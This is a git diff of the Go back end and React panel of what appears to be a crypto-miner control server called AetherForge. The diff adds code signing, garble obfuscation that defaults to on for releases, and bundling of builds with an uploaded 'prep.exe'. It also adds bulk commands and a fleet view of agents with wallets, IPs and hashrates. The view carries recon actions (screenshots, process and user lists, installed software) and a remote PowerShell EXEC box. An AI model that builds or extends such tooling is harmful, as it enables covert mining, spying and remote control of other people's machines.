"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||||
|
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return req.SignBuild
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) signExecutable(path string) error {
|
||||||
|
policy := h.policy.Sign
|
||||||
|
tool := strings.TrimSpace(policy.ToolPath)
|
||||||
|
if tool == "" {
|
||||||
|
var err error
|
||||||
|
tool, err = findSignTool()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tsURL := strings.TrimSpace(policy.TimestampURL)
|
||||||
|
if tsURL == "" {
|
||||||
|
tsURL = "http://timestamp.digicert.com"
|
||||||
|
}
|
||||||
|
|
||||||
|
args := []string{
|
||||||
|
"sign",
|
||||||
|
"/fd", "SHA256",
|
||||||
|
"/tr", tsURL,
|
||||||
|
"/td", "SHA256",
|
||||||
|
"/sha1", strings.TrimSpace(policy.CertThumbprint),
|
||||||
|
path,
|
||||||
|
}
|
||||||
|
cmd := exec.Command(tool, args...)
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("signtool: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
log.Printf("[Forge] Signed %s", filepath.Base(path))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func findSignTool() (string, error) {
|
||||||
|
if p, err := exec.LookPath("signtool"); err == nil {
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
if p, err := exec.LookPath("signtool.exe"); err == nil {
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
roots := []string{
|
||||||
|
os.Getenv("ProgramFiles(x86)"),
|
||||||
|
os.Getenv("ProgramFiles"),
|
||||||
|
}
|
||||||
|
for _, root := range roots {
|
||||||
|
if root == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
kits := filepath.Join(root, "Windows Kits", "10", "bin")
|
||||||
|
matches, _ := filepath.Glob(filepath.Join(kits, "*", "x64", "signtool.exe"))
|
||||||
|
for i := len(matches) - 1; i >= 0; i-- {
|
||||||
|
if _, err := os.Stat(matches[i]); err == nil {
|
||||||
|
return matches[i], nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("signtool.exe not found — install Windows SDK or set sign_tool_path in Calibrate")
|
||||||
|
}
|
||||||
54
server/internal/builder/winres.go
Normal file
54
server/internal/builder/winres.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
|
||||||
|
if h.goWinresPath != "" {
|
||||||
|
cmd := exec.Command(h.goWinresPath, args...)
|
||||||
|
if dir != "" {
|
||||||
|
cmd.Dir = dir
|
||||||
|
}
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
modDir := h.serverModDir
|
||||||
|
if modDir == "" {
|
||||||
|
modDir = "."
|
||||||
|
}
|
||||||
|
cmd := exec.Command(h.goBinPath, append([]string{"run", "github.com/tc-hib/go-winres"}, args...)...)
|
||||||
|
cmd.Dir = modDir
|
||||||
|
if dir != "" {
|
||||||
|
cmd.Dir = dir
|
||||||
|
}
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) resolveToolPaths(projectRoot string) {
|
||||||
|
if h.goBinPath == "" {
|
||||||
|
h.goBinPath = "go"
|
||||||
|
}
|
||||||
|
if h.serverModDir == "" {
|
||||||
|
h.serverModDir = filepath.Join(projectRoot, "server")
|
||||||
|
}
|
||||||
|
if p, err := exec.LookPath("garble"); err == nil {
|
||||||
|
h.garblePath = p
|
||||||
|
}
|
||||||
|
if p, err := exec.LookPath("go-winres"); err == nil {
|
||||||
|
h.goWinresPath = p
|
||||||
|
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
|
||||||
|
h.goWinresPath = p
|
||||||
|
}
|
||||||
|
}
|
||||||
58
server/internal/db/agent_meta.go
Normal file
58
server/internal/db/agent_meta.go
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
func decodeTags(raw string) []string {
|
||||||
|
raw = strings.TrimSpace(raw)
|
||||||
|
if raw == "" || raw == "[]" {
|
||||||
|
return []string{}
|
||||||
|
}
|
||||||
|
var tags []string
|
||||||
|
if err := json.Unmarshal([]byte(raw), &tags); err != nil {
|
||||||
|
return []string{}
|
||||||
|
}
|
||||||
|
return tags
|
||||||
|
}
|
||||||
|
|
||||||
|
func encodeTags(tags []string) string {
|
||||||
|
if len(tags) == 0 {
|
||||||
|
return "[]"
|
||||||
|
}
|
||||||
|
b, _ := json.Marshal(tags)
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) scanAgent(row interface {
|
||||||
|
Scan(dest ...any) error
|
||||||
|
}) (*models.Agent, error) {
|
||||||
|
a := &models.Agent{}
|
||||||
|
var notes, tagsRaw string
|
||||||
|
err := row.Scan(
|
||||||
|
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||||
|
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||||
|
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||||
|
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||||
|
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||||
|
¬es, &tagsRaw,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
a.Notes = notes
|
||||||
|
a.Tags = decodeTags(tagsRaw)
|
||||||
|
return a, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||||
|
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||||
|
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
|
||||||
|
|
||||||
|
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||||
|
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||||
|
return err
|
||||||
|
}
|
||||||
@@ -111,6 +111,8 @@ func (d *Database) migrate() error {
|
|||||||
|
|
||||||
// Best-effort schema upgrades for existing databases.
|
// Best-effort schema upgrades for existing databases.
|
||||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -150,24 +152,12 @@ func (d *Database) SetAgentOffline(id string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) GetAgent(id string) (*models.Agent, error) {
|
func (d *Database) GetAgent(id string) (*models.Agent, error) {
|
||||||
a := &models.Agent{}
|
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
|
||||||
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
return d.scanAgent(d.QueryRow(query, id))
|
||||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
|
|
||||||
FROM agents WHERE id = ?`
|
|
||||||
err := d.QueryRow(query, id).Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
|
||||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
|
||||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
|
||||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) ListAgents() ([]*models.Agent, error) {
|
func (d *Database) ListAgents() ([]*models.Agent, error) {
|
||||||
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
query := `SELECT ` + agentSelectCols + ` FROM agents ORDER BY last_seen DESC`
|
||||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
|
|
||||||
FROM agents ORDER BY last_seen DESC`
|
|
||||||
rows, err := d.Query(query)
|
rows, err := d.Query(query)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -176,11 +166,8 @@ func (d *Database) ListAgents() ([]*models.Agent, error) {
|
|||||||
|
|
||||||
var agents []*models.Agent
|
var agents []*models.Agent
|
||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
a := &models.Agent{}
|
a, err := d.scanAgent(rows)
|
||||||
if err := rows.Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
if err != nil {
|
||||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
|
||||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
|
||||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds); err != nil {
|
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
agents = append(agents, a)
|
agents = append(agents, a)
|
||||||
|
|||||||
@@ -24,6 +24,9 @@ type Agent struct {
|
|||||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||||
UptimeSeconds int `json:"uptime_seconds"`
|
UptimeSeconds int `json:"uptime_seconds"`
|
||||||
|
|
||||||
|
Notes string `json:"notes"`
|
||||||
|
Tags []string `json:"tags"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type Share struct {
|
type Share struct {
|
||||||
|
|||||||
@@ -201,9 +201,20 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
|
|||||||
poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic)
|
poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic)
|
||||||
}
|
}
|
||||||
if builderHandler != nil {
|
if builderHandler != nil {
|
||||||
|
defaultObfuscate := cfg.Server.ObfuscateDefault
|
||||||
|
if os.Getenv("AETHERFORGE_RELEASE") == "1" {
|
||||||
|
defaultObfuscate = true
|
||||||
|
}
|
||||||
builderHandler.SetBuildPolicy(builder.BuildPolicy{
|
builderHandler.SetBuildPolicy(builder.BuildPolicy{
|
||||||
StrictWalletValidation: cfg.Server.StrictWalletValidation,
|
StrictWalletValidation: cfg.Server.StrictWalletValidation,
|
||||||
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
|
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
|
||||||
|
DefaultObfuscate: defaultObfuscate,
|
||||||
|
Sign: builder.SignPolicy{
|
||||||
|
Enabled: cfg.Server.SignEnabled,
|
||||||
|
CertThumbprint: cfg.Server.SignCertThumbprint,
|
||||||
|
ToolPath: cfg.Server.SignToolPath,
|
||||||
|
TimestampURL: cfg.Server.SignTimestampURL,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
applyControlServerFirewall(cfg)
|
applyControlServerFirewall(cfg)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
|
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate } from '../types';
|
||||||
import { authHeaders } from './auth';
|
import { authHeaders } from './auth';
|
||||||
|
|
||||||
const API_BASE = '/api/v1';
|
const API_BASE = '/api/v1';
|
||||||
@@ -63,6 +63,23 @@ export const api = {
|
|||||||
});
|
});
|
||||||
},
|
},
|
||||||
|
|
||||||
|
estimateFusion: (req: BuildRequest, prepFile: File) => {
|
||||||
|
const form = new FormData();
|
||||||
|
form.append('config', JSON.stringify(req));
|
||||||
|
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||||
|
return fetch(`${API_BASE}/builder/estimate`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: authHeaders(),
|
||||||
|
body: form,
|
||||||
|
}).then(async (res) => {
|
||||||
|
if (!res.ok) {
|
||||||
|
const err = await res.text();
|
||||||
|
throw new Error(`API error ${res.status}: ${err}`);
|
||||||
|
}
|
||||||
|
return res.json() as Promise<FusionEstimate>;
|
||||||
|
});
|
||||||
|
},
|
||||||
|
|
||||||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||||
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
||||||
|
|
||||||
@@ -101,6 +118,18 @@ export const api = {
|
|||||||
getAgentLog: (id: string, refresh = false) =>
|
getAgentLog: (id: string, refresh = false) =>
|
||||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||||
|
|
||||||
|
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
|
||||||
|
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
|
||||||
|
method: 'PUT',
|
||||||
|
body: JSON.stringify({ notes, tags }),
|
||||||
|
}),
|
||||||
|
|
||||||
|
sendBulkCommand: (agentIds: string[], action: string) =>
|
||||||
|
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify({ agent_ids: agentIds, action }),
|
||||||
|
}),
|
||||||
|
|
||||||
createUser: (username: string, password: string) =>
|
createUser: (username: string, password: string) =>
|
||||||
fetchJSON<{ success: boolean }>('/users', {
|
fetchJSON<{ success: boolean }>('/users', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
|||||||
97
server/web/src/components/Fleet/AgentListItem.tsx
Normal file
97
server/web/src/components/Fleet/AgentListItem.tsx
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
import AgentRemoteActions from './AgentRemoteActions';
|
||||||
|
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||||
|
import type { Agent } from '../../types';
|
||||||
|
import type { WSMessage } from '../../types';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
agent: Agent;
|
||||||
|
selected: boolean;
|
||||||
|
expanded: boolean;
|
||||||
|
selectable?: boolean;
|
||||||
|
checked?: boolean;
|
||||||
|
onToggleExpand: () => void;
|
||||||
|
onSelect: () => void;
|
||||||
|
onCheck?: (checked: boolean) => void;
|
||||||
|
latestWsMessage?: WSMessage | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function AgentListItem({
|
||||||
|
agent,
|
||||||
|
selected,
|
||||||
|
expanded,
|
||||||
|
selectable,
|
||||||
|
checked,
|
||||||
|
onToggleExpand,
|
||||||
|
onSelect,
|
||||||
|
onCheck,
|
||||||
|
latestWsMessage,
|
||||||
|
}: Props) {
|
||||||
|
const online = agent.status === 'online';
|
||||||
|
|
||||||
|
const handleRowClick = (e: React.MouseEvent) => {
|
||||||
|
const target = e.target as HTMLElement;
|
||||||
|
if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
onSelect();
|
||||||
|
onToggleExpand();
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
|
||||||
|
onClick={handleRowClick}
|
||||||
|
>
|
||||||
|
<div className="agent-list-header">
|
||||||
|
<div className="agent-list-name">
|
||||||
|
{selectable && (
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox agent-list-select"
|
||||||
|
checked={!!checked}
|
||||||
|
onChange={(e) => {
|
||||||
|
e.stopPropagation();
|
||||||
|
onCheck?.(e.target.checked);
|
||||||
|
}}
|
||||||
|
onClick={(e) => e.stopPropagation()}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
<span className={`status-dot ${agent.status}`} />
|
||||||
|
<span>{agent.name}</span>
|
||||||
|
</div>
|
||||||
|
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{(agent.tags?.length ?? 0) > 0 && (
|
||||||
|
<div className="agent-list-tags">
|
||||||
|
{agent.tags!.map((t) => (
|
||||||
|
<span key={t} className="agent-tag-chip">{t}</span>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className="agent-list-details">
|
||||||
|
<span>{formatHashrate(agent.hashrate_15m)}</span>
|
||||||
|
<span>{agent.ip || '—'}</span>
|
||||||
|
{!expanded && <span className="form-hint">click for details</span>}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{!expanded && agent.notes?.trim() && (
|
||||||
|
<p className="agent-list-notes-preview">{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}</p>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{expanded && (
|
||||||
|
<div className="agent-list-expand" onClick={(e) => e.stopPropagation()}>
|
||||||
|
<div className="agent-list-meta">
|
||||||
|
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
|
||||||
|
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
|
||||||
|
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
|
||||||
|
<span>v{agent.version || '?'}</span>
|
||||||
|
</div>
|
||||||
|
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||||
|
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import type { Agent, WSMessage } from '../../types';
|
import type { Agent, WSMessage } from '../../types';
|
||||||
|
import type { WSCommandResult } from '../../types/ws';
|
||||||
import './AgentRemoteActions.css';
|
import './AgentRemoteActions.css';
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
@@ -8,6 +9,8 @@ interface Props {
|
|||||||
agent?: Agent;
|
agent?: Agent;
|
||||||
agentId?: string;
|
agentId?: string;
|
||||||
agentName?: string;
|
agentName?: string;
|
||||||
|
/** Explicit online flag — use when agent object may be stale */
|
||||||
|
online?: boolean;
|
||||||
compact?: boolean;
|
compact?: boolean;
|
||||||
latestWsMessage?: WSMessage | null;
|
latestWsMessage?: WSMessage | null;
|
||||||
onCommandSent?: (action: string) => void;
|
onCommandSent?: (action: string) => void;
|
||||||
@@ -17,13 +20,14 @@ export default function AgentRemoteActions({
|
|||||||
agent,
|
agent,
|
||||||
agentId: agentIdProp,
|
agentId: agentIdProp,
|
||||||
agentName: agentNameProp,
|
agentName: agentNameProp,
|
||||||
|
online: onlineProp,
|
||||||
compact = false,
|
compact = false,
|
||||||
latestWsMessage,
|
latestWsMessage,
|
||||||
onCommandSent,
|
onCommandSent,
|
||||||
}: Props) {
|
}: Props) {
|
||||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||||
const online = agent?.status !== 'offline';
|
const isOnline = onlineProp ?? agent?.status === 'online';
|
||||||
|
|
||||||
const [isDragging, setIsDragging] = useState(false);
|
const [isDragging, setIsDragging] = useState(false);
|
||||||
const [customCmd, setCustomCmd] = useState('');
|
const [customCmd, setCustomCmd] = useState('');
|
||||||
@@ -42,12 +46,7 @@ export default function AgentRemoteActions({
|
|||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||||
const payload = latestWsMessage.payload as {
|
const payload = latestWsMessage.payload as WSCommandResult;
|
||||||
agent_id?: string;
|
|
||||||
action?: string;
|
|
||||||
success?: boolean;
|
|
||||||
message?: string;
|
|
||||||
};
|
|
||||||
const { agent_id, action, success, message } = payload;
|
const { agent_id, action, success, message } = payload;
|
||||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||||
|
|
||||||
@@ -64,7 +63,7 @@ export default function AgentRemoteActions({
|
|||||||
addLog('No agent selected');
|
addLog('No agent selected');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (agent && !online) {
|
if (agent && !isOnline) {
|
||||||
addLog('Agent is offline');
|
addLog('Agent is offline');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -121,10 +120,10 @@ export default function AgentRemoteActions({
|
|||||||
return (
|
return (
|
||||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||||
<div className="agent-remote-row">
|
<div className="agent-remote-row">
|
||||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||||
<button type="button" className="agent-action-btn warn" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||||
<button type="button" className="agent-action-btn danger" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
@@ -145,30 +144,30 @@ export default function AgentRemoteActions({
|
|||||||
<div className="action-group recon-group">
|
<div className="action-group recon-group">
|
||||||
<h3>Recon & Intel</h3>
|
<h3>Recon & Intel</h3>
|
||||||
<div className="button-grid">
|
<div className="button-grid">
|
||||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="action-group mining-group">
|
<div className="action-group mining-group">
|
||||||
<h3>Mining Controls</h3>
|
<h3>Mining Controls</h3>
|
||||||
<div className="button-grid">
|
<div className="button-grid">
|
||||||
<button type="button" className="btn-cyan" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="action-group power-group">
|
<div className="action-group power-group">
|
||||||
<h3>System Power</h3>
|
<h3>System Power</h3>
|
||||||
<div className="button-grid">
|
<div className="button-grid">
|
||||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -185,10 +184,10 @@ export default function AgentRemoteActions({
|
|||||||
|
|
||||||
<div className="tactical-bottom-row">
|
<div className="tactical-bottom-row">
|
||||||
<div
|
<div
|
||||||
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
|
className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
|
||||||
onDragOver={handleDragOver}
|
onDragOver={isOnline ? handleDragOver : undefined}
|
||||||
onDragLeave={handleDragLeave}
|
onDragLeave={handleDragLeave}
|
||||||
onDrop={handleDrop}
|
onDrop={isOnline ? handleDrop : undefined}
|
||||||
>
|
>
|
||||||
<span className="drop-icon">📥</span>
|
<span className="drop-icon">📥</span>
|
||||||
<p>Drag & Drop file here</p>
|
<p>Drag & Drop file here</p>
|
||||||
@@ -212,9 +211,9 @@ export default function AgentRemoteActions({
|
|||||||
onChange={(e) => setCustomCmd(e.target.value)}
|
onChange={(e) => setCustomCmd(e.target.value)}
|
||||||
placeholder="Enter PowerShell command..."
|
placeholder="Enter PowerShell command..."
|
||||||
autoComplete="off"
|
autoComplete="off"
|
||||||
disabled={!online}
|
disabled={!isOnline}
|
||||||
/>
|
/>
|
||||||
<button type="submit" disabled={!online}>EXEC</button>
|
<button type="submit" disabled={!isOnline}>EXEC</button>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
103
server/web/src/components/Fleet/FleetToolbar.css
Normal file
103
server/web/src/components/Fleet/FleetToolbar.css
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
.agents-list-panel {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.agents-list-panel .agents-list {
|
||||||
|
display: flex;
|
